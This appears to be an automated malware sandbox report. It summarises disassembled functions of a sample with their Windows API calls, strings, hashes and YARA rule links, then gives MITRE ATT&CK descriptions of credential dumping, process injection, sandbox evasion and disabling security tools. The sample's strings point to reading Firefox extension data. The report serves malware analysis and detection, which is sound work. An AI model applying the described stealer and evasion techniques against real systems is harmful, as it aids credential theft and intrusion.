Opcode Fuzzy Hash: a346a0dc3028e0405aeaf873cd7225100661e14020b56add4b67b817361690d5
Instruction Fuzzy Hash: 1651117AA49202AFEB15CF12CA40F7A77B4FF09345F21452DE919476A1E731EC81CB92

Function 0040F5A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
Part of subcall function 0040A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
Part of subcall function 0040A110: LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
Part of subcall function 0040A110: ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
Part of subcall function 0040A110: LocalFree.KERNEL32(00410447), ref: 0040A1E0
Part of subcall function 0040A110: CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

Part of subcall function 00418FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418FE2

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421678,00420D93), ref: 0040F64C
lstrlenA.KERNEL32(00000000), ref: 0040F66B

Strings

^userContextId=4294967295, xrefs: 0040F69C
moz-extension+++, xrefs: 0040F6AD

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 737b7fdcf389d1b8baf775aecf5f43f347cd3df0077b36021d3f1c0738e1ef43
Instruction ID: 3808d15f7e0f9f9184562117c9aa29465858450d569164ac2a98ea8b538c64df
Opcode Fuzzy Hash: 737b7fdcf389d1b8baf775aecf5f43f347cd3df0077b36021d3f1c0738e1ef43
Instruction Fuzzy Hash: 42517E72E011089BCB04FBA1ECA6DED7339AF54304F40852EF50667195EF386A5CCB6A

Function 00419660 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0041967B

Part of subcall function 00418EE0: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,004196AE,00000000), ref: 00418EEB
Part of subcall function 00418EE0: HeapAlloc.KERNEL32(00000000,?,?,004196AE,00000000), ref: 00418EF2
Part of subcall function 00418EE0: wsprintfW.USER32 ref: 00418F08

OpenProcess.KERNEL32(00001001,00000000,?), ref: 0041973B
TerminateProcess.KERNEL32(00000000,00000000), ref: 00419759
CloseHandle.KERNEL32(00000000), ref: 00419766

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 396451647-0
Opcode ID: 82399361bd33b1cf0f2f2efae6d7ff06a364100a0860e5f280d97042be913252
Instruction ID: 560ccd148ccd609fdd46163d5cc95655726043f4ba77f136f2594cdeec1b1660
Opcode Fuzzy Hash: 82399361bd33b1cf0f2f2efae6d7ff06a364100a0860e5f280d97042be913252
Instruction Fuzzy Hash: C4315BB1E01208DBDB14DFE0DD49BEDB779BF44700F10445AF506AB284EB786A88CB56

Function 6D4C6F1D Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 6D4C82D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6D4CA340,?,00000000,-00000008), ref: 6D4C8332

GetLastError.KERNEL32 ref: 6D4C6F81
__dosmaperr.LIBCMT ref: 6D4C6F88
GetLastError.KERNEL32(?,?,?,?), ref: 6D4C6FC2
__dosmaperr.LIBCMT ref: 6D4C6FC9

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: adfcb91119c6c5081119bc46c16637a7468865c4725acd9eeeaf84fb44977805
Instruction ID: 46b4de819637a72cd826e4cdf772ae090438be2e673f693f505d709feab5b104
Opcode Fuzzy Hash: adfcb91119c6c5081119bc46c16637a7468865c4725acd9eeeaf84fb44977805
Instruction Fuzzy Hash: F721BE7960C216AFDB11DF658880D7ABBA9FF45368711C42DEA1497660EB30EC118BE2

Function 6D4C8374 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6D4C837C

Part of subcall function 6D4C82D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6D4CA340,?,00000000,-00000008), ref: 6D4C8332

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6D4C83B4
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6D4C83D4

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 5d73cef8e047f4353a4540b5364ff25ebde910bf293479fd34b24a549553bc90
Instruction ID: e032dd47731b02b79aa4790581ac1b71d3ba9699f0fa879b2c21699b4c2cace5
Opcode Fuzzy Hash: 5d73cef8e047f4353a4540b5364ff25ebde910bf293479fd34b24a549553bc90
Instruction Fuzzy Hash: 4A11D6BD90961ABF670267B59C8CE7F796CEF8A29C3114029F900E1241FB21CD1185F7

Function 00417B10 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DE8,00000000,?), ref: 00417B40
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DE8,00000000,?), ref: 00417B47
GetLocalTime.KERNEL32(?,?,?,?,?,00420DE8,00000000,?), ref: 00417B54
wsprintfA.USER32 ref: 00417B83

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: 0540aeb4fecf84a9ec5d2ba81123392b91a3586b08fb2a3d433314a2c6e1e60a
Instruction ID: c3980473cd5af67d898b1e7796d4e9c7fbcb3b6a311921eeb92eb57329937120
Opcode Fuzzy Hash: 0540aeb4fecf84a9ec5d2ba81123392b91a3586b08fb2a3d433314a2c6e1e60a
Instruction Fuzzy Hash: D4112AB2D09218ABCB14DBC9DD45BBEB7B9EB4CB11F10411AF605A2280E3395940C7B5

Function 6D4CC226 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,6D4CB9D9,00000000,00000001,00000000,?,?,6D4CAC94,?,00000000,00000000), ref: 6D4CC23D
GetLastError.KERNEL32(?,6D4CB9D9,00000000,00000001,00000000,?,?,6D4CAC94,?,00000000,00000000,?,?,?,6D4CB23A,00000000), ref: 6D4CC249

Part of subcall function 6D4CC20F: CloseHandle.KERNEL32(FFFFFFFE,6D4CC259,?,6D4CB9D9,00000000,00000001,00000000,?,?,6D4CAC94,?,00000000,00000000,?,?), ref: 6D4CC21F

___initconout.LIBCMT ref: 6D4CC259

Part of subcall function 6D4CC1D1: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6D4CC200,6D4CB9C6,?,?,6D4CAC94,?,00000000,00000000,?), ref: 6D4CC1E4

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,6D4CB9D9,00000000,00000001,00000000,?,?,6D4CAC94,?,00000000,00000000,?), ref: 6D4CC26E

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 00b43053385701a9d885ded929517ac843fed8f3668e0408ccde38ca71e94ba6
Instruction ID: cdf11baba9ab8c6db6173b045894a6149b5bc106f7b501b7b924f2b11ca9694c
Opcode Fuzzy Hash: 00b43053385701a9d885ded929517ac843fed8f3668e0408ccde38ca71e94ba6
Instruction Fuzzy Hash: 44F0F83A940155BBCF122FD5CD04F893E76EB0A2B0B164410FE2985521C732CD209B92

Function 6D486510 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 214COMMON

Download Yara Rule

Strings

T<Mm, xrefs: 6D48668D
T<Mm, xrefs: 6D48667F

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID:
String ID: T<Mm$T<Mm
API String ID: 0-2716363699
Opcode ID: 791de606338b5e008c39b2d9530cfee6f25eb1e13ea90dde386862f7cfd683c3
Instruction ID: 968500802da14a1ed3392de5cceb0e9010ad9e43e1ca4bcb7b67e5952039d672
Opcode Fuzzy Hash: 791de606338b5e008c39b2d9530cfee6f25eb1e13ea90dde386862f7cfd683c3
Instruction Fuzzy Hash: 8FB101B5900F459BD361CF25C885B93B7F4BF4A344F008A2DE9AA87A41EB71B548CB91

Function 6D4C450B Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 6D4C4530

Strings

RCC, xrefs: 6D4C454A
MOC, xrefs: 6D4C4542

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 31fc853a688e19f509a7a89d0b94d03b3740cf655ec1bbec98418faf12fe2ae0
Instruction ID: 1189c27989e6cf62c9b25689c46bf67a590a3d41f60c52d5d3b7949d2ece4fda
Opcode Fuzzy Hash: 31fc853a688e19f509a7a89d0b94d03b3740cf655ec1bbec98418faf12fe2ae0
Instruction Fuzzy Hash: 21416C75A0010AAFCF15CF94CA80EEE7BB5FF48344F258059FA18A6254D335AE51DB92

Function 6D47AC50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,00000000,?), ref: 6D4B2D19
GetProcAddress.KERNEL32(SymFromInlineContextW), ref: 6D4B2D49
GetProcAddress.KERNEL32(SymGetLineFromInlineContextW), ref: 6D4B2D7C
GetProcAddress.KERNEL32(SymQueryInlineTrace), ref: 6D4B2E0A

Strings

SymGetLineFromInlineContextW, xrefs: 6D4B2D71

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: SymGetLineFromInlineContextW
API String ID: 2190909847-3625368168
Opcode ID: 1c1546806f96b2f9b3061cd9606e5477f30050d3747554779daed1b83dfe3fd6
Instruction ID: 1bca05509da72b269efb7e714efd319359316d3a6ff3aa55f5281501c36b2402
Opcode Fuzzy Hash: 1c1546806f96b2f9b3061cd9606e5477f30050d3747554779daed1b83dfe3fd6
Instruction Fuzzy Hash: 30118F75A09306ABDB159F59C880B9ABBF8EF85350F01852DFDA493710DB31DC048BA2

Function 004152A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 004152DA
lstrcatA.KERNEL32(?,008B0600), ref: 004152F8

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414B7C
Part of subcall function 00414B60: FindFirstFileA.KERNEL32(?,?), ref: 00414B93

Strings

9dA, xrefs: 0041531F, 00415344, 00415322

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID: 9dA
API String ID: 2699682494-3568425128
Opcode ID: 01e5de57fa0382f8125f1d442ca08ee962dbaecfd4eda0f90ec81f4c5b2caf0f
Instruction ID: 7a1763d3762e4bc1164bf129b3bea8c613207f41675935a6caeb9cdf66552cef
Opcode Fuzzy Hash: 01e5de57fa0382f8125f1d442ca08ee962dbaecfd4eda0f90ec81f4c5b2caf0f
Instruction Fuzzy Hash: 4E01D6B6E0520867CB14FB71EC53EDE733D9B54305F00419EB64996091EE78ABC8CBA5

Function 6D4C396A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(E06D7363,00000001,00000003,T3Km,?,?,?,?,6D4B3354,DpQm,6D517A00), ref: 6D4C39CA

Strings

T3Km, xrefs: 6D4C3975
T3Km, xrefs: 6D4C39B7, 6D4C39BA

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: ExceptionRaise
String ID: T3Km$T3Km
API String ID: 3997070919-1176415390
Opcode ID: 630bd4bd96b664eaf8ede055f47e4bbb82b0e7d306fc14c09fc75af56bcff960
Instruction ID: 222759119dbaad5254331fa1bef9c6bb4793f6707fe4fc8ae821af6b41932c1a
Opcode Fuzzy Hash: 630bd4bd96b664eaf8ede055f47e4bbb82b0e7d306fc14c09fc75af56bcff960
Instruction Fuzzy Hash: 6901A279900209ABCB019F58D484FAEBBB9FF89708F214199ED55AB391D770ED00CBD1

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
